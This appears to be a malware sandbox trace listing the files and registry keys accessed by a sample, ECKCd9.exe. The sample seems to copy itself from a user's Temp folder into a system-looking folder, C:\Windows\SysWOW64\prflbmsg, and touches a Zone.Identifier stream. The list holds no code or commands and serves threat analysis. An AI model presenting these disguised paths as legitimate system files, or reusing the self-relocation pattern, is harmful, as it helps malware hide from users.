C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe.Config
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe.2.Manifest
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe.3.Manifest
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe.Config
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe
C:\Windows\SysWOW64\shell32.dll
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\
C:\Users\Louise\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\Louise\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000014.db
C:\Users\desktop.ini
C:\Users
C:\Users\Louise
C:\Users\Louise\AppData
C:\Users\Louise\AppData\Local
C:\Windows
C:\Windows\SysWOW64
C:\Users\Louise\AppData\Local\Temp
C:\Windows\SysWOW64\en-US\SHELL32.dll.mui
C:\Users\Louise\AppData\Local\Microsoft\Windows\Burn
C:\Users\Louise\AppData\Roaming
C:\Users\Louise\AppData\Roaming\Microsoft
C:\Users\Louise\AppData\Roaming\Microsoft\Windows
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft OneDrive.lnk
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Python 3.8
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\Louise\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinRAR
C:\Windows\Branding\ShellBrd\shellbrd.dll
C:\Users\Louise\Desktop\desktop.ini
C:\Users\Public\desktop.ini
C:\Users\Public
C:\Users\Public\Desktop\desktop.ini
C:\ProgramData
C:\ProgramData\Microsoft\desktop.ini
C:\ProgramData\Microsoft
C:\ProgramData\Microsoft\Windows
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\Louise\AppData\Roaming\Microsoft\Internet Explorer
C:\Users\Louise\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
C:\autoexec.bat
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe.2.Manifest
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe.3.Manifest
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe.Config
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe
C:\Windows\SysWOW64\multdbt.exe
C:\Users\Louise\AppData\Local\Temp\ECKCd9.exe
C:\Windows\SysWOW64\prflbmsg\prflbmsg.exe:Zone.Identifier
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\648fa520
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\NoFileFolderConnection
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions\00060101.00060101
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\ECKCd9.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups
HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\CallForAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\RestrictedAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORDISPLAY
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideFolderVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\UseDropHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORPARSING
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsParseDisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\MapNetDriveVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForInfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideInWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideOnDesktopPerUser
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsAliasedNotifications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsUniversalDelegate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\NoFileFolderJunction
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\PinToNameSpaceTree
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HasNavigationEnum
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a658-2730-11e9-8620-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a658-2730-11e9-8620-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a658-2730-11e9-8620-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Explorer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{9a0b8d7d-300f-11ea-b342-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{9a0b8d7d-300f-11ea-b342-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{9a0b8d7d-300f-11ea-b342-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a657-2730-11e9-8620-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a657-2730-11e9-8620-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a657-2730-11e9-8620-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DontShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SeparateProcess
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetCrawling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSimpleStartMenu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DontPrettyPath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapNetDrvBtn
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Filter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SeparateProcess
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoNetCrawling
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AutoCheckSelect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\IconsOnly
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowTypeOverlay
HKEY_CLASSES_ROOT\.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\(Default)
HKEY_CLASSES_ROOT\.exe\OpenWithProgids
HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\UserChoice
HKEY_CLASSES_ROOT\exefile
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\CurVer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\ShellEx\IconHandler
HKEY_CLASSES_ROOT\SystemFileAssociations\.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\ShellEx\IconHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\Content Type
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\NeverShowExt
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.exe\(Default)
HKEY_CLASSES_ROOT\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties
HKEY_CLASSES_ROOT\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\DisableProcessIsolation
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\NoOplock
HKEY_CLASSES_ROOT\ExplorerCLSIDFlags\{66742402-F9B9-11D1-A202-0000F81FEDEE}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\UseInProcHandlerCache
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\UseOutOfProcHandlerCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Shell\RegisteredApplications\UrlAssociations\Directory\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\Directory
HKEY_CLASSES_ROOT\Directory
HKEY_CURRENT_USER\Software\Classes\Directory\CurVer
HKEY_CURRENT_USER\Software\Classes\Directory\
HKEY_CURRENT_USER\Software\Classes\Directory\ShellEx\IconHandler
HKEY_CLASSES_ROOT\Folder
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\ShellEx\IconHandler
HKEY_CLASSES_ROOT\AllFilesystemObjects
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\ShellEx\IconHandler
HKEY_CURRENT_USER\Software\Classes\Directory\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\DocObject
HKEY_CURRENT_USER\Software\Classes\Directory\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\BrowseInPlace
HKEY_CURRENT_USER\Software\Classes\Directory\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\Clsid
HKEY_CURRENT_USER\Software\Classes\Directory\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\IsShortcut
HKEY_CURRENT_USER\Software\Classes\Directory\AlwaysShowExt
HKEY_CURRENT_USER\Software\Classes\Directory\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\NeverShowExt
HKEY_CURRENT_USER\Software\Classes\Directory\ShellEx\PropertyHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\ShellEx\PropertyHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\ShellEx\PropertyHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MaxUndoItems
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Advanced\MaxUndoItems
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\ECKCd9.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\ECKCd9.exe
HKEY_CURRENT_USER\Software\Classes\Directory\ShellEx\{2F711B17-773C-41D4-93FA-7F23EDCECB66}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\ShellEx\{2F711B17-773C-41D4-93FA-7F23EDCECB66}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\ShellEx\{2F711B17-773C-41D4-93FA-7F23EDCECB66}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ForceCopyACLWithFile
HKEY_CURRENT_USER\Software\Classes\Directory\ShellEx\{000214F9-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\ShellEx\{000214F9-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\ShellEx\{000214F9-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\MoveSecurityAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoEncryptOnMove
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\AllowFileCLSIDJunctions
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CTF\KnownClasses
HKEY_CLASSES_ROOT\Outlook.Application
HKEY_CLASSES_ROOT\.
HKEY_CLASSES_ROOT\.\OpenWithProgids
HKEY_CLASSES_ROOT\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.
HKEY_CLASSES_ROOT\Unknown
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\CurVer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\ShellEx\IconHandler
HKEY_CLASSES_ROOT\SystemFileAssociations\.
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesChanges
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_CLASSES_ROOT\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\InProcServer32\LoadWithoutCOM
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes\Tahoma
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\TaskbarAnimations
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\(Default)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{35786D3C-B075-49b9-88DD-029876E11C01}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{35786D3C-B075-49b9-88DD-029876E11C01}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{b155bdf8-02f0-451e-9a26-ae317cfd7779}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{b155bdf8-02f0-451e-9a26-ae317cfd7779}\SuppressionPolicy
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\MyComputer\NameSpace
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\MyComputer\NameSpace\DelegateFolders
HKEY_CLASSES_ROOT\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SortOrderIndex
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1339698970-4093829097-1161395185-1000\Installer\Features\00004109110000000000000000F01FEC
HKEY_USERS\S-1-5-21-1339698970-4093829097-1161395185-1000\Software\Microsoft\Installer\Features\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\Software\Classes\Installer\Features\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\WORDFiles
